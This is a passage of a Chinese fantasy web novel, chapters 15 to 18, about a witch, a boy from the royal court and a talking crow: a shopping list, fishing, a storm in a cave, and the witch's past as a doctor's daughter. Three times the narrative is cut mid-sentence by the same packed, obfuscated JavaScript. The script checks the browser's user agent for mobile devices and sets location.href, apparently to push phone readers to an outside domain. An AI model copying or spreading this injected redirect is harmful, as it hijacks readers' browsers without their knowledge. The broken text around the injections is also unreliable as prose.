经过这段时间的照顾,它们倒也没有辜负梅拉制作出来的生长药剂,长势格外喜人,不仅根茎拔得又高又长,紧紧闭合的叶苞也能用肉眼看出沉甸甸的分量。 里头大概已经缀满了莹白色的珍珠果。 据梅拉所说,再过半个月这些珍珠果就能彻底迎来成熟了。 “知道了。”听到梅拉呼唤自己,莱克斯先是有条不紊地把水壶里仅剩的水浇完,才绕了一圈回到小木屋中。 如今打理物什的活已经全权交给了莱克斯负责,虽然没办法让小木屋看起来焕然一新,井井有条——但这可不怪莱克斯,是梅拉特地强调过,现在的布局就是她最喜欢的样子。 除此之外,莱克斯还是把诸如墨水之类的小物件专门收纳起来了,一旦碰上梅拉急哄哄需要的时候,比如现在,莱克斯轻轻松松就能从门口附近的矮柜里为她找到一瓶尚未启封的新墨水。 “对了,柜子里的墨水只剩下这最后一瓶了。”莱克斯提醒了一句。 “是吗?看来又该拜托杜克瓦托跑一趟了。”梅拉原本正用羽毛笔蘸了新墨水,准备继续补充她的手札。 让莱克斯这么一提醒,梅拉决定把手札的事先放一放,接着她随手把桌上乱七八糟的物件一扫,在一阵丁零当啷的碰撞声中找出了一张空白的羊皮纸。 唔,梅拉握着羽毛笔的手一顿,她想想,该拜托杜克瓦托买些什么来着。 首先当然是墨水。 按照惯例,买个五瓶就足够梅拉用上好一阵了,但刚写下数字五,梅拉却忽然想起了她保存在地下室里的那些书。 在时间的磨砺下,有些书的书页不可避免变得薄脆,每当翻阅这些老古董书籍,梅拉都得小心翼翼地控制呼吸,免得呼吸制造的风暴不慎撕碎这些脆弱的纸张。 还有些书,即使梅拉已经十分用心地对待它们,仍然没有逃过书页泛黄,字迹模糊的命运。 本来梅拉早该把这些书取出来,重新誊抄一遍了,但梅拉一想到那一本本可都是几百页打底的厚度,骨子里的懒劲就犯了。 等她什么时候研究出能让塞拉斯学会写字的药剂再说吧。 不过,梅拉又轻又快地瞥了莱克斯一眼,发现她已经不需要费心去研究让塞拉斯学会写字的办法了,现成的壮丁不就在眼前么。 思及此,梅拉把数字五涂黑,重新在旁边写了个十。 无端感觉后背一冷的莱克斯:? 他总觉得身上莫名多了份难以言说的重量。 这头梅拉还在洋洋洒洒地罗列她需要的物品,多是些零零碎碎的小东西,譬如缝纫针、棉芯……对了,梅拉一拍脑袋,想起自己还缺一把好用的木梳子。 前两天,梅拉拿梳子梳理刚擦干的头发,结果她那头如同海藻般浓密的长发忽然打结了,鼓起一个小包,像一团乱了的毛线球,怎么都解不开,还把梳子牢牢地卡住了。 起初梅拉还是颇有耐心地慢慢解着头发,只是后来发现怎么都解不开,还扯得自己一疼一疼的后,梅拉心中一冒火,手下跟着一用力,只听咔嚓一声,这下好了,梳子断成两半摔到了地上。 把路过的莱克斯和正歪着头用喙梳理自己羽毛的塞拉斯都看得一愣一愣的,他们默默地放轻了动作,生怕招惹到明显周身散发着不知名黑气的梅拉。 这时候,梅拉倒是挺羡慕他们两个的,塞拉斯就不说了,莱克斯那头利落的短发连梳子都用不上,除非是稍长的额发遮到了眼睛,莱克斯才会随意用手扒拉两下。 可真要让梅拉把她漂亮的长发剪掉,她拿着剪子的手却始终下不去。 算了,还是就这么留着吧。 “莱克斯。”梅拉又喊道。 等莱克斯走过来,梅拉便拿羽毛笔指了指羊皮纸上最底下剩余的一小部分空白,“你有什么想买的东西吗?” “我想买什么都可以吗?”莱克斯没想到竟然还有自己的份,竟然有种受宠若惊的感觉。 梅拉甚至都没有叫塞拉斯—— “可恶,为什么买东西没有我的份?”原本正偷窥的塞拉斯沉不住气了,大声嚷嚷了起来。 梅拉扫视了一圈塞拉斯圆滚滚的肚子,发出一声意味不明的哼笑。 她还不知道塞拉斯想买什么吗?无非就是城镇上那些好吃的。 可作为塞拉斯的主人,眼睁睁地看着它胖到如今这个地步,梅拉深知她不能再继续纵容下去了。 “等你什么时候减肥成功再说吧。” 梅拉毫不在意地摆摆手,看向莱克斯,回答了他刚刚的问题,“没错,你想买什么都行,反正是记在你头上的账。” “……”莱克斯犹豫了片刻,他试探着问道,“那我想要一把剑,可以吗?” 剑? 如果是别的也就算了,吃的、穿的、用的,都无所谓,可莱克斯提到他想要一把剑,意味顿时不一样了。 女巫再厉害,也不过是血肉之躯,被刺上一剑也是会死的。 否则女巫们又何必害怕国王的军队呢? 如果是之前,莱克斯未必敢当面向梅拉提出这个想法,他甚至不敢暴露自己藏在身上的匕首。 但经过两人坐在石头上看星星的那一夜,莱克斯却忽然觉得他或许不必如此提防梅拉。 如果真的担心他会伤害她,当初任他死在森林里不就好了。 想到这,莱克斯的眼神一凝,直白地与梅拉对视。 梅拉果然没有拒绝他,只是,她微微挑了挑眉,“你应该比我更清楚,市面上可买不到剑这种玩意儿,它们全被王室和贵族把持着。” 不仅如此,普通的铁匠也不被允许锻造这类武器,他们只能锻造锄头、镰刀这类农具。 一旦被发现家中私藏了武器,全家甚至邻居一家都是要掉脑袋的。 因此就连最唯利是图的商人,也不敢做这门生意,就算他们不怕,他们的邻居也怕啊。 举报有功的话,是能给自家免罪的。 “没关系,杜克瓦托认识切尔各,只要他能帮我传信,切尔各会把我想要的东西交给他的。”莱克斯早就想好了该怎么办。 “行,既然你已经想好了办法,那我就替你写上去。” 梅拉唰唰唰地用最简单的话把莱克斯的要求写到了羊皮纸上,只不过这样一来,整张纸再也没了多余的空白。 “没关系,我只要这一样就够了。”本来莱克斯就没想过要别的。 自打住进小木屋,莱克斯便摒弃了曾经在王宫内奢侈的享受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681849|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只要满足基本的吃饱穿暖就行。 甚至能达成所愿,都已经属于意外之喜了。 “搞定,我这就把这张单子给杜克瓦托送过去。” 梅拉站起来,走到坩埚前,把卷好的羊皮纸往底下一丢。 只见突然冒出的蓝色火舌迅速将其舔舐干净,又迅速熄灭,连点灰都没给留下。 “好了。”梅拉满意地点头,相信此刻完好的羊皮纸已经出现在了杜克瓦托的口袋里。 接下来只要等杜克瓦托带着他们想要的东西上门就好。 这是莱克斯第二次看到梅拉用这样堪称神奇的手段联系杜克瓦托,这一次,他不再掩饰自己的好奇:“不管杜克瓦托距离有多远,这个办法都能把信送到吗?” 他知道杜克瓦托就住在黑暗森林附近的镇子上,那如果杜克瓦托去了更远的地方,比如王城呢? 倘若可以的话,莱克斯忽然觉得他其实应该直接联系切尔各才对。 “怎么可能,五十里,是它能到达的最远距离。” 梅拉摇头,否定了莱克斯的异想天开。 除此之外,这个办法的限制也很多。譬如只能传递一个口袋大小的东西,所以她才要将羊皮纸卷起来;又譬如只能传递能被蓝色火焰烧着的东西。 虽然在莱克斯看来,这团能凭空自燃,又凭空熄灭的蓝色火焰充满了神秘色彩,仿佛无所不能,但梅拉很清楚,它只是一团比较奇怪的火焰而已。 归根结底,还是火。 只能拿来烧烧纸,或者给坩埚加热罢了。 不管莱克斯想拿它做什么,都还是别为难一团火了。 “我饿了。”梅拉忽然伸了个懒腰。 别看这一天她好像没干什么,可眼下窗外的光线都被夕阳染成了橘色,正慢慢挪动脚步,即将前往黑夜的尽头。 又到了该享用晚餐的时间。 晚上,莱克斯往三个大小不一的碗里分了三份热气腾腾的蔬菜杂烩羹。 最大的碗是莱克斯的,十二岁的男孩胃口俨然不容小觑。 梅拉的碗则比莱克斯要小上一些,她不喜欢瘦成一根竹竿,当然不会刻意节食保持苗条的身材。 最小的碗自然是塞拉斯的,分量几乎是莱克斯的一半。 然而塞拉斯目瞪口呆地看着自己的碗里堆成小山似的胡萝卜,又瞧了瞧另外两人的碗,震惊地把一双小黑眼瞪得溜圆,“为什么梅拉的碗里没有胡萝卜?” “因为我讨厌吃胡萝卜啊。”梅拉奇怪地看了塞拉斯一眼,又不是第一天当她的宠物了,塞拉斯怎么还一副大惊小怪的样子。 不不不,塞拉斯当然知道梅拉讨厌吃胡萝卜,它震惊的是为什么只有梅拉的碗里没有胡萝卜,而它与莱克斯的碗里却堆着鲜明的红色块状物。 显然,是莱克斯在分餐时精心地把本应该到梅拉碗里的胡萝卜给挑了出来,又统一分给了他自己和塞拉斯。 可是,可是它塞拉斯也讨厌吃胡萝卜啊! 然而塞拉斯在莱克斯这当然是没有如梅拉一般的待遇的。 莱克斯对塞拉斯控诉的目光置若罔闻,慢条斯理地吃着自己碗里的食物。 塞拉斯又用委屈的眼神去看梅拉。 熟料梅拉压根不抬头。 唉,一个是偏心自己的莱克斯,一个是想让自己偏心它的塞拉斯,为了不让任何一方感到失落,梅拉只能装傻了。 殊不知她的举动落在塞拉斯眼里,却勾起了塞拉斯对莱克斯的愤懑,好啊,总算给它找到这两人关系生变的证据了。 现在莱克斯都敢光明正大地讨好梅拉了! 塞拉斯明显感到自己在小木屋第二的地位即将不保。 它恨恨地啄着碗里的胡萝卜,像是啄在莱克斯身上似的。 塞拉斯暗下决定,它要想办法做点什么才行。 16. 第 16 章 梅拉向来想一出是一出。 虽然大部分时候,她都像只懒洋洋的猫似的,活动的范围绕着小木屋内打转,要么躺在摇椅上看书,要么趴在桌子前写厚厚一本的手札,也因此,一旦她有了外出的念头,那就是放出十匹马都拉不回来。 “我们出门钓鱼去吧。” 梅拉眼瞧着头顶的天空不断有大朵大朵的乌云飘过来,汇聚在森林的上空,一副要下雨的样子,仍然道。 “一旦下雨的话,我们不一定能及时赶回来。”比起梅拉,莱克斯显然考虑问题的角度更加现实。 赶不回来要在外头过夜怎么办?穿着湿漉漉的衣服得了风寒怎么办? 虽然这些对梅拉来说大概不是什么大事,就算发起了高烧也能平静地随手掏出一瓶药剂喝下去,但是对莱克斯来说,他下意识就会想要避免自己陷入狼狈的境地。 被淋成落汤鸡的样子可不好看。 再加上,莱克斯嗅闻到空气中隐隐泛滥的潮湿,总觉得若是下雨,那必定是场声势浩大的暴雨。 这种天气,还是留在小木屋里喝一碗热汤更舒适。 “嘻嘻,那莱克斯你留下来看家好了,陪梅拉钓鱼这事交给我就够了。” 塞拉简直恨不得举起全部的爪子支持梅拉的决定,甚至一反常态,当起了催促的那一个,“梅拉梅拉,快别管莱克斯了,就我们两个走吧。” 梅拉没有听塞拉斯的,她扭头,和莱克斯确认了一遍:“你真的不一起来么?” 见梅拉态度坚定,非得在暴雨来临前去钓鱼,莱克斯妥协了,“我去收拾东西。” 既然是要钓鱼,鱼竿总得有吧? “鱼竿?地上随便找根长一点的树枝不就好了?”梅拉钓鱼从来没用过专门的鱼竿。 “那饵料呢?”莱克斯心中陡然升起了某种不好的预感。 “这也要提前准备吗?直接往土里挖一挖,现成的虫子不是一大堆吗?”梅拉笑吟吟的,不然莱克斯觉得,她为什么非得把他和塞拉斯一起带上呢? 当然是要抓壮丁了。 梅拉只要舒舒服服地用他们挖来的饵料,享受钓鱼就好了。 认清了现实的莱克斯最后只带上了一篮子的长棍面包,和两手空空的梅拉,以及刻意飞在梅拉身边把他隔开的塞拉斯就这么出发了。 这回梅拉带着莱克斯和塞拉斯,是往小木屋的东南方向走去。 如果将黑暗森林分为外部,内部,与更深的腹地三部分,那么小木屋就建在内部与外部的交界上,上回捡到巴奇的地界处于黑暗森林北边的腹地,因此高大的树木遮天蔽日,四周都显得阴森森的。 但往东边走,尽管这里的树木依旧高大挺拔,枝繁叶茂,却时不时有阳光穿过枝叶的间隙照到梅拉一行人的身上,洗去了那股仿佛从地底幽冥涌上来的森森寒意。 大概也是因此,生活在这一块的动物肉眼可见的多。 一路走来,梅拉他们已经遇见了带着一家子的野兔,偶尔顶着草叶冒出个头的狍子,不远处蹄声哒哒的,是梅花鹿灵动的身影闪现在半人高的灌木丛后。 再走了一会儿,一个巨大的湖泊霍然出现在眼前,沉静的湖面仿佛一面镜子,映照着倒转的世界。 而梅拉随意地在湖边挑了块有石头的地方坐了下来,便支使莱克斯和塞拉斯赶紧给她挖虫子去,记得回来的时候再带一根长长的树枝。 塞拉斯这次鼓起了十足十的干劲,爪子和翅膀都用上了,在地上疯狂扒拉,简直像把蚯蚓一家都给端了。 相比之下,莱克斯捉住的饵料不多,但他带回来的树枝又长又细,还削过了木刺,握在手里一点都不扎人。 梅拉很满意,觉得带他们两个出来果然没错。 蚯蚓被绑在树枝的尖端,浸入了冰凉的湖水之中,它试图挣扎,于是泛起了一小圈无人在意的涟漪。 或许是湖底的鱼群也感受到了风雨欲来的气息,纷纷从水下游上来透气,结果就是它们纷纷被梅拉的虫饵所吸引。 感受到树枝一抖,似乎是被什么东西咬住了往下拉,梅拉立刻使力往回一拽——下一秒,一条活蹦乱跳的银白色大鱼跟着被甩了上来。 落到柔软的草地上后,它仍然不死心地拍打着尾巴,试图再蹦回不远处的湖里。 然而莱克斯眼疾手快地用树枝一戳,被削得又尖又细的一端轻易穿破了皮肉。 这下就算这条足有小臂长的银白色大鱼依然时不时地动弹两下,也只不过是在树枝上做垂死挣扎罢了。 一条、两条,树枝上很快串满了大小不一的鱼,从颜色上来看,种类也各有区别。只不过随着橙红色的火焰升起,它们统一被烤得薄薄的一层鱼皮都蜷缩了起来。 估摸着烤得快熟了的时候,莱克斯把树枝取下来,鱼也被剥了下来,夹入早已切好的面包之中。 抹上厚厚的一层肉酱后,莱克斯把面包递给了梅拉。 钓了这么多的鱼,梅拉钓鱼的热情早就消磨得差不多了,把作为鱼竿的树枝随手往身旁一放,她接过莱克斯递来的面包,啃得津津有味。 肉酱是莱克斯提前做好的,尽管手艺略显生疏,但只要舍得往里头加多多的香料,打开罐子时的香味依旧扑鼻。 这时第二块面包也好了,莱克斯还没来得及抬手,就让突然从角落里伸了个脑袋出来的塞拉斯强行把面包抢走了。 塞拉斯投来洋洋得意的目光。 莱克斯也几不可见地勾起了唇角。 “咳咳,好酸的酱——”塞拉斯发出了惊天动地的咳嗽声。 原来刚才往面包上抹酱的时候,莱克斯一半抹了肉酱,一半抹了柠檬酱。 是尚未到成熟的季节便被摘下来的柠檬,味道到底有多酸可想而知。 面对梅拉递来的探究的眼神,莱克斯坦然自若地啃了一口自己手上的面包。 如果塞拉斯没打算抢他的面包的话,压根就不会中招,所以说起来,还是塞拉斯自讨苦吃了。 当然,其实莱克斯本也不确定塞拉斯会不会这么做,他只是多留了个心眼,小小地试探了一下。 不过现在么,莱克斯可以确定,塞拉斯似乎有意在针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687451|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他。 面包还没吃完,暴雨便忽然降临。 豆大的雨点砸在地上,很快汇聚成了一个个或大或小的水坑,又被棕色的短靴一脚踩碎,荡漾出破碎的痕迹。 梅拉和莱克斯一前一后地奔跑在林中。 原本塞拉斯还飞起来,挡在了梅拉的头上,试图为她挡雨。 结果被梅拉一把薅了下来,抱在怀里,一同赶路。 “不行,雨太大了,得先找个地方躲雨才行。”莱克斯抹了一把脸上的雨水,他的视线被白色的雨幕模糊,只能看见影影绰绰的绿影。 照这么跑下去,中途摔进哪个坑里,或是直接撞到树上都有可能,实在太危险,不如先找个地方躲雨,等雨停了再说。 “那里!”莱克斯眼尖地瞥见灰色的一点。 等他们跑近了一看,果然是个山洞。 只不过山洞狭小,只能勉强站下梅拉和莱克斯两个人,甚至莱克斯若是个子再高一点,便只能把山洞让给梅拉,自己到附近再另外找个地方躲雨了。 即使如此,现在的情形也是莱克斯不得不挨着梅拉的手臂,湿漉漉的衬衣贴着湿漉漉的衬衣,正不停地往下滴水。 就算是这样,梅拉的心情看起来也很不错,还在哼着某支莱克斯未曾听过的小调。 理由难道不是显而易见的吗? 梅拉是因为想要钓鱼才出门的,现在鱼钓到了,还烤了来吃。 虽然不幸碰上暴雨,但也在意料之中,如果不想淋雨,一开始梅拉选择不出门不就好了。 怀中的塞拉斯一抽一抽的,为梅拉不让自己挡雨的举动感动得不得了,“呜呜,梅拉对塞拉斯真好……” 其实刚才梅拉大可以把塞拉斯变大,带着莱克斯躲在它的羽翼之下,这样她连一滴雨都不用淋了。 但梅拉没有这么干。 有时候就是这样,比起牺牲自己一个人,哪怕大家一起受苦,也能让人觉得心里更加好受。 以至于塞拉斯先前才升腾起来的那一点点对莱克斯的恶意都散了,它跟莱克斯有什么好争的,反正在梅拉的心里,它肯定排在天平落下的那一侧。 在莱克斯尚不知情的时候,一场无声的端倪就这么轻而易举的让梅拉搅散了。 然而梅拉不知道塞拉斯心底那些复杂的小心思,只是笑吟吟地揉着它的脑袋,“笨蛋塞拉斯,我是那种只会把你当工具使的主人吗?” “当然不是!梅拉是世界上最好的主人!”塞拉斯大声地道。 “如果没有梅拉,塞拉斯早就死在树底下了,是梅拉把塞拉斯带回了白松镇,还让塞拉斯成为了会说话的乌鸦。”塞拉斯开始细数梅拉对它的恩情,越说越泪眼汪汪。 一旁一直保持沉默的莱克斯却眼神一动,状似不经意地道,“白松镇?我记得那是位于菲斯特领的小镇吧?离黑暗森林好像挺远的。” “是挺远的,当初我和梅拉如果不是在半路上碰到了霍尔,只靠两条腿根本走不到这里来。”塞拉斯没设防,习惯性地搭话,结果一不小心就把它和梅拉的来历都秃噜了出去。 17. 第 17 章 菲斯特领位于王国的西南部,这里既不靠海,没有滔滔不绝带来财富的港口;也没有珍贵的矿藏,光靠挖矿就能满足大部分平民的生活。 再加上这里的领主素来资质平庸,顶着菲斯特子爵的爵位,却连宫廷都没踏入过几次。这一任的菲斯特子爵已经四十八岁了,目前只觐见过两次国王陛下——两次都是在国王大婚,迎娶王后的时候。 因此整个菲斯特领常年处于王国诸多领地的底层,这里的平民大多只能过着勉强糊口的日子。 白松镇却因为出产白松蜡,在整个菲斯特领都小有名气。 一块半人高、双臂长的白松蜡板就能够轻易取代纸张的作用,记录、草稿,还能反复擦除,十分耐用,更别提它的价格比起纸张便宜可要便宜得多了。 就连驻扎在此地的教会,都忍不住拿它来取代纯蜂蜡制作的蜡烛,用于日常的照明。 没办法,只有在富裕的地方才能供养出富裕的教会,像菲斯特领这样的穷地方,菲斯特子爵每年都把收上来的税金揽得严严实实的,要不是看在教会势大,他大概连指甲盖大小的税金都不舍得拿出来,蚊子再小也是肉啊。 至于前来教会礼拜祈祷的平民,身上的油水早就被税金榨干了,也没法给教会提供任何帮助。 总之白松蜡常年是菲斯特领的畅销货,居住在白松镇的平民们多多少少都小有积蓄,养活一大家子七八口人不在话下。 然而梅拉的父亲却像是这个小镇的异类,因为他只有梅拉这一个女儿。 并且在妻子早逝后,面对不断上门劝说他重新娶个女人好诞下男性继承人的亲眷,他都咬定了主意不松口。 他说,梅拉便是他唯一的继承人。 * 山洞里,塞拉斯刚把话说完,便在心里暗叫糟糕,它怎么随随便便就把梅拉的来历给说出去了。 梅拉来自白松镇这件事,除了霍尔,连杜克瓦托都不知道。 自觉做了错事的塞拉斯忍不住想要偷觑梅拉的表情,可惜它被梅拉抱在怀里,从它的角度只能看到一截修长白皙的脖颈,以及围在方形领口处的一大片阴影。 反倒是莱克斯,只要一转头,就能看见梅拉秀丽的侧脸。 像是根本没听到塞拉斯的自曝似的,梅拉的表情十分平和,那双幽绿色的眼睛被突然劈下的闪电照亮了那么一瞬。 让莱克斯想起了曾在母亲的首饰盒中乍然一瞥的沙弗莱石胸针。 美丽得惊人。 “白松镇是个好地方,每年用白松蜡制成的蜡烛都是一马车一马车地运出去,只不过王宫应该不稀罕用廉价的白松蜡蜡烛照明吧?” 梅拉朝莱克斯看过去,语调轻松,仿佛是加入了一场无伤大雅的闲聊。 在梅拉看来,这也确实没什么大不了的。 白松镇是梅拉出生和成长的地方,那里曾经有她的家,只不过随着女巫的身份不慎暴露,她不得不带着塞拉斯离开——也可以称得上是逃亡,毕竟她们当时拼命赶路,连觉都不敢睡,就是担心被菲斯特子爵和教会的追兵追上——但是现在梅拉的家在黑暗森林,是那栋乱糟糟的小木屋,而莱克斯如今也是小木屋的一员,所以她无所谓和莱克斯聊起她的过去。 又没有夹杂什么见不得光的事。 “我用过白松蜡蜡烛。” 出乎梅拉的意料,莱克斯道。 见梅拉微微挑眉,这是她惯来表示感兴趣的小习惯,莱克斯便把事情的来龙去脉简单地给她说了一下: “纯蜂蜡制作的蜡烛太贵了,一支就要十枚铜币。每个晚上,王宫里灯火辉煌,上千支蜡烛一同点燃,烧的都是货真价实的钱币。我觉得这种做法太过奢侈,所以试图找到一种便宜的替代品。” 于是莱克斯找到了白松蜡蜡烛。 在把它拿到众人面前之前,莱克斯当然得提前试一下它的效果。 从外表上看,白松蜡制成的蜡烛和纯蜂蜡制成的蜡烛十分相似,若是不仔细区分,是察觉不到两者的区别的。 至于香味,白松蜡取自白松树,天然带着一股松香,而蜂蜡则是自带一股淡淡的甜蜜气息,两者孰优孰劣,全看个人喜好,至少莱克斯觉得松香并不难闻。 只不过纯蜂蜡制成的蜡烛燃烧起来是没有烟的,这也正是它一直受到贵族们与教会追捧的地方。 但莱克斯走到窗边,把窗子打开,白松蜡蜡烛烧起来的那点白烟让风一吹,顿时全散开了,压根不必在意。 再想到买一支白松蜡蜡烛只要两枚铜币,莱克斯认为让王宫上下全部换成这种蜡烛绝对是值得的。 只不过这件事还得努伦格尔九世同意才行。 因此莱克斯特意在一次晚宴的时候,提前让仆从们把灯台上的蜡烛换掉了,等到努伦格尔九世察觉到异样时,他才款款道出真相。 “后来呢?”梅拉问。 “后来我的计划失败了,这件事也就不了了之了。”莱克斯扯了扯唇角,并不希望梅拉看出他心底蔓延开来的的些许苦涩。 和他轻描淡写的态度不同,那一次努伦格尔九世完全是大发雷霆。 不仅当着教皇和斐南基等人的面将莱克斯大骂一顿,用尽了刻薄的词汇,甚至勒令他今后不许再对王宫的事务指手画脚。 如果不是斐南基拦着,努伦格尔九世当时就不只是简单朝莱克斯头上扔一个银酒杯这么简单了。 其实努伦格尔哪里是因为莱克斯对王宫的事务指手画脚而生气呢?他是因为莱克斯竟敢对他指手画脚而生气。 努伦格尔九世就喜欢奢靡的生活,他是这个国家的王,他就应该享受最好的一切。 哪怕他花钱如流水——这些钱还不统统是他的?只不过暂时保管在贵族和平民们的手中而已。 莱克斯也是经此一事,才发现了努伦格尔九世的不可救药。 至于教会,莱克斯眯了眯眼,教皇和继王后勾结到了一起,努伦格尔九世如此怒不可遏的原因中,还加上了教皇煽风点火的缘故。 那个大腹便便,十指带满了宝石与戒指的老教皇,冠冕堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692884|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇地指责莱克斯用白松蜡蜡烛是对神的不敬,怎么能用这种便宜货糊弄神明呢?神明如果发怒,是会对整个王国都降下灾难的。 并且作为国王,努伦格尔九世就是首当其冲受到神罚的那个人。 努伦格尔九世哪怕本来没那么生气,被教皇这么一说,也要火冒三丈了。 “努伦格尔九世是错的,你是对的,一枚铜币也是钱,怎么能说挥霍就挥霍。”即使不知道具体的经过,梅拉还是毫不犹豫地站在了莱克斯这一边。 以她一毛不拔的吝啬性格,会有这种想法莱克斯丝毫不意外。 但这个世界上,大概也只有梅拉才会这样大咧咧的直接说努伦格尔做错了,毕竟女巫和王室不对付嘛。 不过,既然梅拉一开始生活在白松镇,说明她并不是生来就成为了女巫?莱克斯不由得目露疑惑。 在教会的宣传中,女巫是天生的罪人,所以人们才不能和她们接触,以免沾染了她们的罪孽,下辈子连人都当不成,只能成为被人鞭打的牲畜,日日受苦。 “既然有人生下来就是女巫,当然也有我这样后天才成为女巫的人。”梅拉把曾经与塞拉斯提过的说法又同莱克斯说了一遍。 只有像她这样聪明过人,一点就透的才能凭借天赋成为一名真正的女巫。 不然就会像莱克斯一样。 “你看你翻阅了我那么多的藏书,到现在却连一个咒语都念不出来。”梅拉举了个最生动的例子。 “想当初我可是只听了一遍就记住了昏睡咒。” 梅拉还记得当时她一个人在山上,遇到了一个行迹古怪的女人,她披着黑色的斗篷,将自己遮得严严实实,一见到梅拉就立刻从坐着的石头上站起来打算离开。 不仅如此,女人甚至不敢与梅拉对视。 然而梅拉从小跟在父亲的身边,学习草药和救人的知识,也见过父亲救治重伤的病人,面前的女人带着和那些病人一样的浓重的血腥味,梅拉一闻就知道她受伤了。 “你需要我帮忙吗?我父亲是医士,我跟着他学过怎么止血,我的篮子里还采了可以止血的草药。”梅拉好心地问。 “不用了。”女人开口拒绝了梅拉。 她的嗓音格外沙哑,仿佛牙齿磨在了砂砾上。 “你是没有钱吗?没关系,如果你愿意当我的病人,我可以免费给你止血。”梅拉十分善解人意。 当然,她也有一点自己的小心思。 因为梅拉是个女孩,哪怕从小跟在父亲身边给他帮忙,却仍然得不到镇民们的信任。 这让梅拉很是郁闷。 她正愁找不到一个愿意让自己亲自上手的病人呢。 因此哪怕免费,梅拉也想说服面前的女人同意。 然而梅拉刚准备靠近,才走了一步,立刻听到女人低声喃喃了几句。 下一秒,梅拉的眼前一黑,直接昏倒了过去。 等到后来与女人结识,得知她是一名女巫后,梅拉才恍然大悟,原来女人对她施了昏睡咒。 18. 第 18 章 等到梅拉重新醒来的时候,暮色如涨潮的海水般涌向大地的各个角落,更远处的天际线上甚至隐隐闪烁着几颗零落的晚星。 梅拉利落地从地上爬起来,拍了拍裙摆上的尘土。好在她一贯不爱穿颜色鲜亮的裙子,正是怕弄脏了不好清洗。 像现在这样沾了泥点子的情况,唯有凑近了看才能看出梅拉褐色裙摆上的异样。 女人的身影早已消失不见,梅拉来不及追究更多,只顾得上快点把散落在地的草药捡一捡,然后匆匆忙忙地跑下山去。 这个点还没回去,她的父亲威普多·格荷拉克该担心了。 果然,等梅拉拎着挎篮,脚步匆匆地回到白松镇时,身材高大的男人正提着一盏半明不昧的煤油灯站在通往镇子的大路上。 昏黄的灯光照亮了他的周身,也为晚归的梅拉指引了方向。 “父亲!”梅拉加快了脚下的速度,几乎是用跑的,三两步便来到了威普多的身边。 那双与梅拉如出一辙的绿眸温和地看向自己的女儿,没有责备她为什么这么晚才回来,而是用空闲的另一只手放在了她柔软的发顶上。 “走吧,和父亲回家吃饭。”威普多道。 随后,一大一小的身影被煤油灯的光拉得细长,一路朝着与主人背对而驰的方向离去,仿佛要去触摸大路尽头那低垂的夜色。 “今晚煮了胡萝卜炖肉。”威普多用勺子把锅里切成块的胡萝卜和肉捞起来,盛进碗里,放到了梅拉的面前。 “我讨厌吃胡萝卜。”梅拉面对满满的一碗胡萝卜,皱起了鼻子。 “胡萝卜是有益健康的食物,能抵抗寒冷,帮助体弱或面色惨白者恢复正常。” 威普多平静地向梅拉阐述道。 “所以不要挑食,梅拉。” “……”梅拉没办法反驳自己的父亲,因为她知道威普多说的没错,这也是写在格荷拉克家族医士手札上,代代传承的知识。 但人想要与自己的欲望作斗争总是艰难的。 譬如梅拉打从心底厌恶胡萝卜,哪怕闭着眼咀嚼,都差点吐了出来。 可是一向纵容她的威普多在这方面绝不允许她任性。 只有吃下有益健康的食物,身体才能长久地保持健康,这是威普多一贯坚持的原则。 见梅拉吃得实在痛苦,威普多不免叹了一声气,“至少吃胡萝卜总比吃药要好得多。” 梅拉从小在威普多这样的照顾下长得比一头小牛犊都要强壮,从没生过一场病,这就是最好的证明。 相反,梅拉的母亲艾尔薇就是因为小时候没有坚持健康的饮食,才导致生下梅拉后没多久,身体过于虚弱,一场风寒就轻易地要了她的命。 “今天在山上碰到什么事了吗?”饭后,威普多总算提起了这个问题。 梅拉差点都要以为他不打算问了呢。 只不过下意识的,梅拉觉得最好不要让父亲知道那个神秘兮兮的女人的存在,因此随便含混了过去:“没啊,只是不小心在石头上睡着了。” “好吧,下次记得不要在山上睡觉了,容易着凉。”威普多没有怀疑过梅拉对自己撒谎,毕竟这听起来确实也像梅拉会干的事。 威普多鲜少拘束她,和白松镇那些被训导得性格十分娴静的女孩们相比,梅拉简直比男孩还要自由。 甚至连想上山都是和威普多打声招呼,就挎着篮子高高兴兴地出门了。 威普多倒也不担心梅拉会在山上碰到吓人的野兽,山上种满了白松树的区域,早就被白松镇的镇民们踏足过许多遍了,只要不深入人迹罕见的腹地,梅拉遇到危险的概率非常小。 只不过第二天梅拉说她还想上山一趟的时候,威普多有些奇怪:“昨天没有把你想采集的草药采完吗?” 